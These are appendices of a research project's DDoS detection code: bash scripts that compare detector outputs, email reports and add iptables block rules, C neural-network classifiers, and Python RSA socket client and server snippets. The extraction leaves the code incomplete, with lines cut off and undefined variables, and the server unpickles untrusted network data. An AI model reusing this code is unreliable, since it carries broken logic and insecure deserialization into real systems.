Following is the mkd source code for TCP.  For UDP and ICMP refer to the CD as the source 




#fromAgents (share-log) is used to learn about other traffic 
information (attack or genuine) received from other DDoS Detectors. 
Then use such information to make defence decision when required. 
Further, the information is used for logistic and forensic purposes. 
 
 
ip1=$(head -n 1  /root/snort-tcp/files/toBeCompared.txt) 
echo $ip1 
ip2=$(head -n 1  /root/snort-tcp/files/fromAgents.txt) 
echo $ip2 
i=$(sed -n 2p  /root/snort-tcp/files/toBeCompared.txt) 
j=$(sed -n 2p /root/snort-tcp/files/fromAgents.txt ) 
 






if [ $i -eq 1 ] 
  then 
     if [ $ip1 == $ip2 ] && [ $i == $j ] 
       then 
        
        echo "DDoS Detector 1 and DDoS Detector 2 detected same destination to be under 
TCP DDoS attack. Defence is deployed to mitigate." >> /root/snort-tcp/email 
     
      #encrypt the message and send it over 
        /usr/bin/python /root/snort-tcp/files/clientEncrypt.py 
        echo "DDoS Detector 1 detected: " $ip1  >> /root/snort-tcp/email 
        echo $i 
        echo "DDoS Detector 2 detected: " $ip2  >> /root/snort-tcp/email 
        echo $j 
        echo " " >> /root/snort-tcp/email 
 
        #deploy defence  
        cd  /root/snort-tcp/seqDir/ && bash defense.sh 
 
#convert text file to pdf and email the Security Officer. 
        /home/alan/text2pdf /root/snort-tcp/email > /root/snort-tcp/report.pdf 
        mpack -s "DDoS attack report"  /root/snort-tcp/report.pdf phd.alan@gmail.com 




    elif [ $ip1 == $ip2 ] && [ $i != $j ] 
    then 
 
    #encrypt the message and send it over  
    /usr/bin/python /root/files/clientEncrypt.py 
    echo "Only DDoS Detector 1 detected a destination to be under TCP DDoS attack. Other 
DDoS Detectors have not experienced DDoS attacks. Defence is deployed to mitigate" >> 
/root/snort-tcp/email 
     
 
    echo "DDoS Detector 1 detected:" $ip1 >> /root/snort-tcp/email 
    echo $i 
    echo $ip2 
    echo $j 
    echo " " >> /root/snort-tcp/email 
 
    #deploy defence  
    cd  /root/snort-tcp/seqDir/ && bash defense.sh 
 
#convert text file to pdf and email the Security Officer. 
    /home/alan/text2pdf /root/snort-tcp/email > /root/snort-tcp/report1.pdf 
    mpack -s "DDoS attack report"  /root/snort-tcp/report1.pdf phd.alan@gmail.com  
 
    elif [ $ip1 != $ip2 ] && [ $i == $j ] 
    then 
    echo "DDoS Detector 1 and DDoS Detector 2 detected different destination to be under 
TCP DDoS attack. Defence is deployed to mitigate" >> /root/snort-tcp/email 
   
#encrypt the message and send it over 
    /usr/bin/python /root/snort-tcp/files/clientEncrypt.py 
    echo "DDoS Detector 1 detected:" $ip1 >> /root/snort-tcp/email 
    echo $i 
    echo "DDoS Detector 2 detected:" $ip2 >> /root/snort-tcp/email 
    echo $j 
    echo " " >> /root/snort-tcp/email 
     
 
   #deploy defence  
    cd  /root/snort-tcp/seqDir/ && bash defense.sh 
 
#convert text file to pdf and email the Security Officer. 
/home/alan/text2pdf /root/snort-tcp/email > /root/snort-tcp/report2.pdf 
    mpack -s "DDoS attack report"  /root/snort-tcp/report2.pdf phd.alan@gmail.com 
  fi 
elif [ $i -eq 2 ] 
   then 
     if [ $ip1 == $ip2 ] && [ $j == $k ] 
     then 
     echo "test" 
     echo "DDoS Detector 1 detected unidentified traffic (Value 2), but DDoS Detector 1 uses 
other records received from other  detectors. Defence is deployed to mitigate." >>  /root/snort-
tcp/email 
 
     #encrypt the message and send it over 
     /usr/bin/python /root/snort-tcp/files/clientEncrypt.py 
    echo "DDoS Detector 1 detected:" $ip1 >>  /root/snort-tcp/email 
    echo $i 
    echo $ip2 
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    echo $j 
     echo " " >> /root/snort-tcp/email 
 
   #deploy defence       
   cd  /root/snort-tcp/seqDir/ && bash defense.sh 
 
#convert text file to pdf and email the Security Officer. 
    /home/alan/text2pdf /root/snort-tcp/email > /root/snort-tcp/report3.pdf 
    mpack -s "DDoS attack report"  /root/snort-tcp/report3.pdf phd.alan@gmail.com 
 
   elif [ $ip1 == $ip2 ] && [ $j == $f ] 
     then 
     echo "ANN requires to be retrained with up-to-date patterns. All DDoS Detectors failed to 
identify traffics." >>  /root/snort-tcp/email 
 
#encrypt the message and send it over 
     /usr/bin/python /root/snort-tcp/files/clientEncrypt.py 
   echo $ip1 
    echo $i 
    echo $ip2 
    echo $j 
     echo " " >> /root/snort-tcp/email 
      
 
#convert text file to pdf and email the Security Officer. 
    /home/alan/text2pdf /root/snort-tcp/email > /root/snort-tcp/report4.pdf 
    mpack -s "DDoS attack report"  /root/snort-tcp/report4.pdf phd.alan@gmail.com 
 
 
elif [$ip1 == " "]&&[$i == ""] 
then 
 
   echo " No records found from other DDoS Detectors, Security 
Officer must investigate" >> /root/snort-tcp/email   /home/alan/text2pdf /root/snort-tcp/email > 
/root/snort-tcp/report5.pdf 
   mpack -s "No record found"  /root/snort-tcp/report5.pdf phd.alan@gmail.com 
 
else 
   echo "This is not an attack" 
 fi 
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Appendix 6-3  




extern int icmp_ann(float *in, float *out, int init); 
 
static struct { 
  int NoOfInput;    /* Number of Input Units  */ 
  int NoOfOutput;   /* Number of Output Units */ 
  int(* propFunc)(float *, float*, int); 







#define Act_Logistic(sum, bias)  ( (sum+bias<10000.0) ? ( 1.0/(1.0 + exp(-sum-bias) ) ) : 0.0 ) 
#ifndef NULL 
#define NULL (void *)0 
#endif 
 
typedef struct UT { 
          float act;         /* Activation       */ 
          float Bias;        /* Bias of the Unit */ 
          int   NoOfSources; /* Number of predecessor units */ 
   struct UT   **sources; /* predecessor units */ 
          float *weights; /* weights from predecessor units */ 
        } UnitType, *pUnit; 
 
  /* Forward Declaration for all unit types */ 
  static UnitType Units[9]; 
  /* Sources definition section */ 
  static pUnit Sources[] =  { 
Units + 1, Units + 2, Units + 3, 
Units + 1, Units + 2, Units + 3, 
Units + 1, Units + 2, Units + 3, 
Units + 1, Units + 2, Units + 3, 
Units + 4, Units + 5, Units + 6, Units + 7, 
 
  }; 
 
  /* Weigths definition section */ 
  static float Weights[] =  { 
-3.962840, -4.835810, -5.169500, 
1.535250, 1.248070, 0.291350, 
2.205100, 3.320190, 3.347540, 
2.281050, 2.117530, 1.913700, 
-10.502020, 1.870940, 4.751330, 3.172770, 
 
  }; 
 
/* unit definition section (see also UnitType) */ 
  static UnitType Units[9] = 
  { 
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    { 0.0, 0.0, 0, NULL , NULL }, 
    { /* unit 1 (noName) */ 
      0.0, 0.070960, 0, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 2 (noName) */ 
      0.0, 0.140050, 0, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 3 (noName) */ 
      0.0, -0.892030, 0, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 4 (noName) */ 
      0.0, 6.761730, 3, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 5 (noName) */ 
      0.0, -2.295960, 3, 
       &Sources[3] , 
       &Weights[3] , 
      }, 
    { /* unit 6 (noName) */ 
      0.0, -3.687880, 3, 
       &Sources[6] , 
       &Weights[6] , 
      }, 
    { /* unit 7 (noName) */ 
      0.0, -2.605700, 3, 
       &Sources[9] , 
       &Weights[9] , 
      }, 
    { /* unit 8 (noName) */ 
      0.0, -3.866400, 4, 
       &Sources[12] , 
       &Weights[12] , 
      } 
 
  }; 
 
int icmp_ann(float *in, float *out, int init) 
{ 
  int member, source; 
  float sum; 
  enum{OK, Error, Not_Valid}; 
  pUnit unit; 
 
 
  /* layer definition section (names & member units) */ 
 
  static pUnit Input[3] = {Units + 1, Units + 2, Units + 3}; /* members */ 
 
  static pUnit Hidden1[4] = {Units + 4, Units + 5, Units + 6, Units + 7}; /* members */ 
 
  static pUnit Output1[1] = {Units + 8}; /* members */ 
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  static int Output[1] = {8}; 
 
  for(member = 0; member < 3; member++) { 
    Input[member]->act = in[member]; 
  } 
 
  for (member = 0; member < 4; member++) { 
    unit = Hidden1[member]; 
    sum = 0.0; 
    for (source = 0; source < unit->NoOfSources; source++) { 
      sum += unit->sources[source]->act 
             * unit->weights[source]; 
    } 
    unit->act = Act_Logistic(sum, unit->Bias); 
  }; 
 
  for (member = 0; member < 1; member++) { 
    unit = Output1[member]; 
    sum = 0.0; 
    for (source = 0; source < unit->NoOfSources; source++) { 
      sum += unit->sources[source]->act 
             * unit->weights[source]; 
    } 
    unit->act = Act_Logistic(sum, unit->Bias); 
  }; 
 
  for(member = 0; member < 1; member++) { 
    out[member] = Units[Output[member]].act; 
  } 
  return(OK); 
} 
 




extern int tcp_ann_h(float *in, float *out, int init); 
 
static struct { 
  int NoOfInput;    /* Number of Input Units  */ 
  int NoOfOutput;   /* Number of Output Units */ 
  int(* propFunc)(float *, float*, int); 







#define Act_Logistic(sum, bias)  ( (sum+bias<10000.0) ? ( 1.0/(1.0 + exp(-sum-bias) ) ) : 0.0 ) 
#ifndef NULL 
#define NULL (void *)0 
#endif 
 
typedef struct UT { 
          float act;         /* Activation       */ 
          float Bias;        /* Bias of the Unit */ 
          int   NoOfSources; /* Number of predecessor units */ 
   struct UT   **sources; /* predecessor units */ 
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          float *weights; /* weights from predecessor units */ 
        } UnitType, *pUnit; 
 
  /* Forward Declaration for all unit types */ 
  static UnitType Units[11]; 
  /* Sources definition section */ 
  static pUnit Sources[] =  { 
Units + 1, Units + 2, Units + 3, Units + 4, Units + 5, 
Units + 1, Units + 2, Units + 3, Units + 4, Units + 5, 
Units + 1, Units + 2, Units + 3, Units + 4, Units + 5, 
Units + 1, Units + 2, Units + 3, Units + 4, Units + 5, 
Units + 6, Units + 7, Units + 8, Units + 9, 
 
  }; 
 
  /* Weigths definition section */ 
  static float Weights[] =  { 
17.310699, 17.721300, 16.662741, 16.760700, 17.309151, 
-3.691630, -3.618940, -3.282650, -4.065960, -3.638300, 
-4.589450, -4.017660, -4.715800, -5.173370, -5.320480, 
-0.651250, -0.320060, -1.307460, -0.943930, -0.131880, 
18.376190, -4.750610, -5.966240, -0.523430, 
 
  }; 
 
/* unit definition section (see also UnitType) */ 
  static UnitType Units[11] = 
  { 
    { 0.0, 0.0, 0, NULL , NULL }, 
    { /* unit 1 (noName) */ 
      0.0, 0.175820, 0, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 2 (noName) */ 
      0.0, 0.382370, 0, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 3 (noName) */ 
      0.0, 0.675220, 0, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 4 (noName) */ 
      0.0, 0.452990, 0, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 5 (noName) */ 
      0.0, -0.030120, 0, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 6 (noName) */ 
      0.0, -25.531170, 5, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 7 (noName) */ 
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      0.0, 2.591390, 5, 
       &Sources[5] , 
       &Weights[5] , 
      }, 
    { /* unit 8 (noName) */ 
      0.0, 4.156830, 5, 
       &Sources[10] , 
       &Weights[10] , 
      }, 
    { /* unit 9 (noName) */ 
      0.0, -1.499060, 5, 
       &Sources[15] , 
       &Weights[15] , 
      }, 
    { /* unit 10 (noName) */ 
      0.0, -2.040540, 4, 
       &Sources[20] , 
       &Weights[20] , 
      } 
 
  }; 
 
int tcp_ann_h(float *in, float *out, int init) 
{ 
  int member, source; 
  float sum; 
  enum{OK, Error, Not_Valid}; 
  pUnit unit; 
 
 
  /* layer definition section (names & member units) */ 
 
  static pUnit Input[5] = {Units + 1, Units + 2, Units + 3, Units + 4, Units + 5}; /* members */ 
 
  static pUnit Hidden1[4] = {Units + 6, Units + 7, Units + 8, Units + 9}; /* members */ 
 
  static pUnit Output1[1] = {Units + 10}; /* members */ 
 
  static int Output[1] = {10}; 
 
  for(member = 0; member < 5; member++) { 
    Input[member]->act = in[member]; 
  } 
 
  for (member = 0; member < 4; member++) { 
    unit = Hidden1[member]; 
    sum = 0.0; 
    for (source = 0; source < unit->NoOfSources; source++) { 
      sum += unit->sources[source]->act 
             * unit->weights[source]; 
    } 
    unit->act = Act_Logistic(sum, unit->Bias); 
  }; 
 
  for (member = 0; member < 1; member++) { 
    unit = Output1[member]; 
    sum = 0.0; 
    for (source = 0; source < unit->NoOfSources; source++) { 
      sum += unit->sources[source]->act 
             * unit->weights[source]; 
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    } 
    unit->act = Act_Logistic(sum, unit->Bias); 
  }; 
 
  for(member = 0; member < 1; member++) { 
    out[member] = Units[Output[member]].act; 
  } 
 








extern int udp_net_h(float *in, float *out, int init); 
 
static struct { 
  int NoOfInput;    /* Number of Input Units  */ 
  int NoOfOutput;   /* Number of Output Units */ 
  int(* propFunc)(float *, float*, int); 






#define Act_Logistic(sum, bias)  ( (sum+bias<10000.0) ? ( 1.0/(1.0 + exp(-sum-bias) ) ) : 0.0 ) 
#ifndef NULL 
#define NULL (void *)0 
#endif 
 
typedef struct UT { 
          float act;         /* Activation       */ 
          float Bias;        /* Bias of the Unit */ 
          int   NoOfSources; /* Number of predecessor units */ 
   struct UT   **sources; /* predecessor units */ 
          float *weights; /* weights from predecessor units */ 
        } UnitType, *pUnit; 
 
  /* Forward Declaration for all unit types */ 
  static UnitType Units[9]; 
  /* Sources definition section */ 
  static pUnit Sources[] =  { 
Units + 1, Units + 2, Units + 3, Units + 4, 
Units + 1, Units + 2, Units + 3, Units + 4, 
Units + 1, Units + 2, Units + 3, Units + 4, 
Units + 5, Units + 6, Units + 7, 
 
  }; 
 
  /* Weigths definition section */ 
  static float Weights[] =  { 
-0.741890, -2.164030, -1.795610, -2.073940, 
-9.014590, -10.145470, -9.402730, -9.058290, 
-5.591970, -3.866700, -4.645170, -4.851410, 
-1.973220, -11.683490, -6.190790, 
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  }; 
 
/* unit definition section (see also UnitType) */ 
  static UnitType Units[9] = 
  { 
    { 0.0, 0.0, 0, NULL , NULL }, 
    { /* unit 1 (noName) */ 
      0.0, 0.099090, 0, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 2 (noName) */ 
      0.0, -0.308020, 0, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 3 (noName) */ 
      0.0, -0.056550, 0, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 4 (noName) */ 
      0.0, -0.250040, 0, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 5 (noName) */ 
      0.0, 0.120030, 4, 
       &Sources[0] , 
       &Weights[0] , 
      }, 
    { /* unit 6 (noName) */ 
      0.0, 8.198220, 4, 
       &Sources[4] , 
       &Weights[4] , 
      }, 
    { /* unit 7 (noName) */ 
      0.0, 2.830330, 4, 
       &Sources[8] , 
       &Weights[8] , 
      }, 
    { /* unit 8 (noName) */ 
      0.0, 5.037650, 3, 
       &Sources[12] , 
       &Weights[12] , 
      } 
 
  }; 
 
int udp_net_h(float *in, float *out, int init) 
{ 
  int member, source; 
  float sum; 
  enum{OK, Error, Not_Valid}; 
  pUnit unit; 
 
 
  /* layer definition section (names & member units) */ 
 
  static pUnit Input[4] = {Units + 1, Units + 2, Units + 3, Units + 4}; /* members */ 
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  static pUnit Hidden1[3] = {Units + 5, Units + 6, Units + 7}; /* members */ 
 
  static pUnit Output1[1] = {Units + 8}; /* members */ 
 
  static int Output[1] = {8}; 
 
  for(member = 0; member < 4; member++) { 
    Input[member]->act = in[member]; 
  } 
 
  for (member = 0; member < 3; member++) { 
    unit = Hidden1[member]; 
    sum = 0.0; 
    for (source = 0; source < unit->NoOfSources; source++) { 
      sum += unit->sources[source]->act 
             * unit->weights[source]; 
    } 
    unit->act = Act_Logistic(sum, unit->Bias); 
  }; 
 
  for (member = 0; member < 1; member++) { 
    unit = Output1[member]; 
    sum = 0.0; 
    for (source = 0; source < unit->NoOfSources; source++) { 
      sum += unit->sources[source]->act 
             * unit->weights[source]; 
    } 
    unit->act = Act_Logistic(sum, unit->Bias); 
  }; 
 
  for(member = 0; member < 1; member++) { 
    out[member] = Units[Output[member]].act; 
  } 
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Appendix 6-4  






#first check if the traffic is already blocked or not.  
 
ip1=$(sed -n 1p /root/snort-tcp/files/fordefence.txt) 
ip2=$(sed -n 1p /root/snort-tcp/files/blacklist.txt) 
#echo $ip1 >> /root/snort-tcp/email 
 
#echo $ip2 >> /root/snort-tcp/email 
if [ $ip1 != $ip2 ] #If the ip addresses are not equal, that means the ip address is not black 
listed yet. 
then 
iptables -A FORWARD -p tcp -d $ip1 -j DROP 
iptables -A INPUT -p tcp -d $ip1 -j DROP 
 
cp /root/snort-tcp/files/fordefence.txt /root/snort-tcp/files/blacklist.txt 
echo $ip "The Destination is protected now and other Detectors are also informed. DDoS 













#first check if the traffic is already blocked or not.  
 
ip1=$(sed -n 1p /root/snort-udp/files/fordefence.txt) 
ip2=$(sed -n 1p /root/snort-udp/files/blacklist.txt) 
echo $ip1 
echo $ip2  
 
if [ $ip1 != $ip2 ] #If the ip addresses are not equal, that means the ip address is not black 
listed yet. 
then 
iptables -A FORWARD -p udp -d $ip1 -j DROP 
iptables -A INPUT -p udp -d $ip1 -j DROP 
 
 
cp /root/snort-udp/files/fordefence.txt /root/snort-udp/files/blacklist.txt 
 
echo $ip "The Destination is protected now and other Detectors are also informed. DDoS 





echo $ip1 "Attack is already black listed" >> /root/snort-udp/results 









#first check if the traffic is already blocked or not.  
ip1=$(sed -n 1p /root/files/fordefence.txt) 
ip2=$(sed -n 1p /root/files/blacklist.txt) 
echo $ip1 
echo $ip2  
 
if [ $ip1 != $ip2 ] #If the ip addresses are not equal, that means the ip address is not black 
listed yet. 
then 
iptables -A FORWARD  -d $ip1 -p icmp --icmp-type echo-request -j DROP 
iptables -A INPUT  -d $ip1 -p icmp --icmp-type echo-reply -j DROP 
 
cp /root/files/fordefence.txt /root/files/blacklist.txt 
 
echo $ip "The Destination is protected now and other Detectors are also informed. DDoS 


































Following code represents client and server for TCP, UDP and ICMP connections between 





from Crypto.Hash import MD5 
from Crypto.PublicKey import RSA 





host = '11.0.2.2' 
port = 5005 
 
f=open('/root/snort-tcp/files/toBeCompared.txt', 'rb') 
#The above file contains information about the attack or genuine traffic. 
 
for MESSAGE in f: 
 MESSAGE=MESSAGE.rstrip() 
 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((host, port)) 
 rcstring = s.recv(2048) 
 publickey = pickle.loads(rcstring) 
 











from Crypto.Hash import MD5 
from Crypto.PublicKey import RSA 







RSAKey = RSA.generate(1024, randpool.RandomPool().get_bytes) 
 





#IP and port numbers can be changed accordingly.  
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 





  fromClient, address = s.accept() 
  fromClient.send(pickle.dumps(PublicKey)) 
 
  string = '' 
  while True: 
    buf = fromClient.recv(2048) 
    string += buf 
    if not len(buf): 
      break 
  fromClient.close() 
   
 
  clientMessage = pickle.loads(string) 
 
  print RSAKey.decrypt(clientMessage) 
 
s.close() 




Examples of emails that are sent to the Security Officer. 
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